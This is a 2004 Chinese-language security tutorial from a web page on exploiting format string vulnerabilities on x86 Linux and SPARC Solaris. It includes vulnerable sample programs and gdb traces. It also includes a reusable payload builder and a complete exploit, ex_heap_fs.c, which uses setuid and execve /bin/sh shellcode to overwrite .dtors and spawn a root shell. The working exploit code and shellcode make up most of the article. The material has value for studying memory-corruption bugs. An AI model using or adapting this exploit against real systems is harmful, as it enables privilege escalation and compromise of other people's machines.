首頁 | 安全文章 | 安全工具 | Exploits | 本站原創 | 關于我們 | 網站地圖 | 安全論壇
  當前位置:主頁>安全文章>文章資料>網絡安全>文章內容
如何利用格式化溢出漏洞,x86/sparc
來源:vittersafe.yeah.net 作者:sam 發布時間:2004-01-30  

==[如何利用格式化溢出漏洞,x86/sparc]==
作者: Sam

目錄:
1、什么是格式化溢出漏洞?
2、如何在x86/sparc exploit format string
3、確定retaddr/retloc的值
4、通用的模板


1、什么是格式化(format strings)溢出漏洞?
這里講不詳細列舉關于格式化溢出的理論性的文章,而主要側重于如何利用格式化溢出漏洞。如果您對格式化溢出不熟悉的話請
查看以下鏈接的資料,如果您對格式化溢出漏洞,asm/c語言有一定的基礎的話,請跳轉到第2章節。
關于格式化溢出的詳細資料,請觀看以下鏈接的文章:
(1)在Linux上利用Format String漏洞
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1635
(2)*printf()格式化串安全漏洞分析(上)(下)
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=533
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=534
(3)Solaris for SPARC 堆棧溢出程序編寫(續)
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=683


2、如何在x86/sparc exploit format string
下面我將會step by step的詳細介紹如何去利用一個格式化溢出的漏洞。
一個簡單的有格式化溢出漏洞的例子:

[[email protected] test]$ uname -a
Linux rh80 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
[[email protected] test]$ cat ./vulfs.c
void foo (char *str) {
char buf[256];
snprintf(buf,sizeof (buf),str); /* 直接把用戶提交的數據打印到緩沖區里面去,并沒有限制用戶提交格式化串 */
printf("%s\n",buf);
return;
}

int main (int argc, char **argv)
{
foo(argv[1]);
return 0;
}

[[email protected] test]$ gcc -o vulfs vulfs.c
[[email protected] test]$ ./vulfs AAAABBBB
AAAABBBB
[[email protected] test]$ ./vulfs BBBB%20d%x
BBBB 13451311142424242
[[email protected] test]$
如果這里我們把%x換成%n就會把前面的字符串的個數連同4個B的格式(%20d -> 20個 %d + 4 個B = 24)寫入BBBB對應的0x42424242的地址
(gdb) r BBBB%20d%n
Starting program: /home/dove/test/vulfs BBBB%20d%n

Program received signal SIGSEGV, Segmentation fault.
0x4204a609 in vfprintf () from /lib/i686/libc.so.6
(gdb) bt
#0 0x4204a609 in vfprintf () from /lib/i686/libc.so.6
#1 0x4206a3e4 in vsnprintf () from /lib/i686/libc.so.6
#2 0x42052404 in snprintf () from /lib/i686/libc.so.6
#3 0x08048378 in foo ()
#4 0x080483b4 in main ()
#5 0x420158d4 in __libc_start_main () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4204a609 <vfprintf+9993>: mov %edx,(%eax)
(gdb) i r edx eax
edx 0x18 24
eax 0x42424242 1111638594
(gdb)

ok, 根據上面的信息就可以構造一個exploit code, 在exploit code中我們利用%hn(把參數個數寫入一個地址的高2字節),代替%n。
利用2次%hn就可以

這里我寫了一個自動構造格式化溢出串的函數。

/* 存放一個地址到指定的區域, for little-enbian */
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}

/* 檢測地址中是否存在零字節 */
int
checkZero (long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));

}

/* 我們的構造格式化字符串的函數 */
/* retloc: 你要覆蓋的地址 */
/* retaddr: shellcode 地址 */
/* align: 調整字符的位置 */
/* num:需要多少個格式化字符才能打印堆棧中的垃圾數據 */

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num)
{
int i;
long reth, retl;
char *ptr;
/* little enbian 地址排列方式 */
#ifdef le
reth = (retaddr >> 0) & 0xffff;
retl = (retaddr >> 16) & 0xffff;
#endif

/* big enbian 地址排列方式 */
#ifdef be
reth = (retaddr >> 16) & 0xffff;
retl = (retaddr >> 0) & 0xffff;
#endif

printf("retaddr 高2字節: 0x%x / 低2字節: 0x%x\n", reth, retl);
printf("retloc 地址的值: 0x%x / retloc + 2地址的值: 0x%x\n", retloc, (retloc + 2));
bzero (sbuf, sizeof (sbuf));
/* 是否需要align,來對齊format strings */
if (align < 0 || align > 3) {
printf("align 的值必須在1-3之間,實際aglin的值:%ld\n", align);
exit(1);
}
/* 檢測retloc 中是否有零字節 */
if (checkZero(retloc) || checkZero(retloc+2) ) {
printf("retloc 的地址中存在零字節,實際的reloc的值:%x, reloc+2的值:%x\n", retloc, (retloc + 2) );
exit(1);
}

/* 構造格式化字符串 */
ptr = sbuf;

for (i = 0; i < align; i++) {
*ptr++ = 0x41;
}

ptr = putLong(ptr, 0x42424242);
ptr = putLong(ptr, retloc);
ptr = putLong(ptr, 0x43434343);
ptr = putLong(ptr, retloc + 2);
for (i = 0 ; i < num; i ++) {
memcpy(ptr, "%.8x", 4);
ptr = ptr + 4;
}
sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - align - ((num * 8)+ 16)), 0x10000 + retl - reth);

return;
}

這里我將其中幾個詳細的參數功能解釋一下
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int align, int num);
char *sbuf: 我們構造的格式化字符串放置的緩沖區。
unsigned long retloc: 我們所有覆蓋的一個地址(能夠改變程序的執行流程),比如函數返回地址,.dtors結構,GOT結構,atexit結構等等。
unsigned long retaddr: 我們構造的shellcode在內存中的地址。
int align: 我們的格式化字符串是否需要對齊.比如在有些系統上有這樣的問題.
構造這樣的字符串[a][a][a]AAAABBBB%x%x%x, [a]代表可選,一般值在1-3之間,比如:
[[email protected] test]$ ./vulfs aAAAABBBB%x%x%x
aAAAABBBB........4141414142424242
那么我們的align的值就是1
int num: 需要num個格式化字符串參數才能dump內存中垃圾數據。比如我們在solaris sparc8上vulfs.c測試情況如下:
bash-2.05$ uname -a
SunOS sun8 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%p
AAAABBBB8223d8ff29bcbc041414141
在這里我們需要4個%x才能dump掉那些垃圾數據。

3、確定retaddr/retloc的值
關于shellcode的地址確定,有了很多很準確的方法去得到,我們在用execve/execle 可以構造自己的環境變量這樣我們就可以
準確的計算出retaddr的值。
比如在x86 linux的環境下我們可以用這樣的公式得到:
int retaddr = 0xbffffffa - strlen(shellocde) - strlen("./vulfs");
sparc 下也是這樣的概念,在這里我們用warning3寫的一個得到sparc下retaddr的函數。
曾經有一段時間我為了確定reloc的值而發愁,現在我已經掌握了很好的方法來得到這些地址。在x86下我們可以用objdump來得到
.dtors/GOT的地址。
sparc下可以用這樣的方法來得到函數返回地址,但是不是每一個函數返回地址都有效,需要一個個的去嘗試 :)。
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%n
Bus Error (core dumped)
bash-2.05$ gdb ./vulfs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...
Core was generated by `./vulfs AAAABBBB%x%x%x%x%n'.
Program terminated with signal 10, Bus Error.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libdl.so.1
Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#0 0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
(gdb) x/i 0xff3038b4
0xff3038b4 <_doprnt+10912>: st %o0, [ %o1 ]
(gdb) i r o0 o1
o0 0x17 23
o1 0x41414141 1094795585
(gdb) bt
#0 0xff3038b4 in _doprnt () from /usr/lib/libc.so.1
#1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1
#2 0x106e0 in foo ()
#3 0x10724 in main ()
(gdb) f 1
#1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1
(gdb) p/x $fp+60
$1 = 0xffbefb44 //snprintf 的返回地址
(gdb)
得到retloc and retaddr 我們就可以去溢出了 :)

4、例子程序

/* heap_fs.c
* heap format strings vuln example
* Sam: explioit it :>
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>

#define MAXLENGTH 2048

int log_it (const char* format, ...)
{
char *p;
va_list ap;

if ((p = malloc (MAXLENGTH)) == NULL)
return -1;

va_start (ap, format);
vsnprintf (p, MAXLENGTH, format, ap);
#ifdef HELP
printf ("%s \n", p);
#endif
va_end (ap);

free (p);

return 0;
}

int main (int argc, char **argv)
{
if (argc != 2) {
printf ("need args \n");
return -1;
}

log_it (argv[1]);

return 0;

}

/* ex_heap_fs.c
* exploit heap format strings vuln code
* by Sam
*
*/
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>

/* .dtors */
#define dtors_addr 0x80495bc + 4
#define HELL "./heap_fs"


char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* shellcode */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";


/*
* put a address in mem, for little-enbian
*
*/
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;

return ptr;
}


/*
*check the \x00 byte
*/
int
checkZero (long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));

}

/*
* FIXME:
* build format strings
* retloc: the addrees you wanna rewrite
* retaddr: shellcode address
* align: the aligns
* num: how many %.8x can dump the stack data
* offset: some shellcode offset
*
*/

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, int offset, int align, int num)
{
int i;
long reth, retl;
char *ptr;

/* little enbian */

reth = (retaddr >> 0) & 0xffff;
retl = (retaddr >> 16) & 0xffff;

#ifdef DEBUG
printf ("retaddr high word: 0x%x / low word: 0x%x\n", reth, retl);
printf ("retloc : 0x%x / retloc + 2: 0x%x\n", retloc, retloc + 2);
#endif
bzero (sbuf, sizeof (sbuf));

if (align < 0 || align > 3) {
printf ("align must between 1-3,"
"the aglin vaule:%ld\n", align);
exit (1);
}
/* check zero byte */
if (checkZero (retloc) || checkZero (retloc+2) ) {
printf ("retloc have zero byte ; <\n");
exit (1);
}

ptr = sbuf;

for (i = 0; i < align; i++) {
*ptr++ = 0x41;
}
/* Padding */
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, retloc);
ptr = putLong (ptr, 0x43434343);
ptr = putLong (ptr, retloc + 2);
for (i = 0 ; i < num; i ++) {
memcpy (ptr, "%.8x", 4);
ptr = ptr + 4;
}

sprintf (ptr, "%%%uc%%hn%%%uc%%hn", reth - offset - align -(num*8 + 16) , 0x10000 + offset + retl - reth);

return;
}


/*
* main function
*
*/
int main()
{
int ret_addr;
char buf[256];
char *args[24];
char *env[2];

/* our shellcode address */
ret_addr = 0xbffffffa - strlen(shellcode) - strlen(HELL);

/* put in env */
env[0] = shellcode;
env[1] = NULL;

printf ("Use shellcode 0x%x\n", ret_addr);

bzero (buf, sizeof(buf));
/* build format strings */
buildFs (buf, dtors_addr, ret_addr, 0, 3, 65); /* exploit */

/* lamer ;) */
args[0] = HELL;
args[1] = buf;
args[2] = NULL;

execve (args[0], args, env);
perror ("execve");

return 0;
}
/* end of main */





 
[推薦] [評論(0條)] [返回頂部] [打印本頁] [關閉窗口]  
匿名評論
評論內容:(不能超過250字,需審核后才會公布,請自覺遵守互聯網相關政策法規。
 §最新評論:
  熱點文章
·一句話木馬
·samcrypt.lib簡介
·教你輕松查看QQ空間加密后的好友
·web sniffer 在線嗅探/online ht
·SPIKE與Peach Fuzzer相關知識
·Cisco PIX525 配置備忘
·用Iptables+Fedora做ADSL 路由器
·檢查 Web 應用安全的幾款開源免
·asp,php,aspx一句話集合
·Md5(base64)加密與解密實戰
·NT下動態切換進程分析筆記
·風險評估中的滲透測試
  相關文章
·samcrypt.lib簡介
·蠕蟲病毒傳播模式分析
·Linux 安全模塊(LSM)簡介
·pwdump2 samdump.c淺析與改進
·新形式下的網絡防毒建議匯總
·bugscam分析
·Brk漏洞分析和修補
·通用ShellCode深入剖析
·Windows Workstation Service遠
·黑客掃描特征及十種易受攻擊端口
·Imail iLDAP溢出分析
·關于Windows下ShellCode編寫的一
  推薦廣告
CopyRight © 2002-2020 VFocuS.Net All Rights Reserved
期本期特码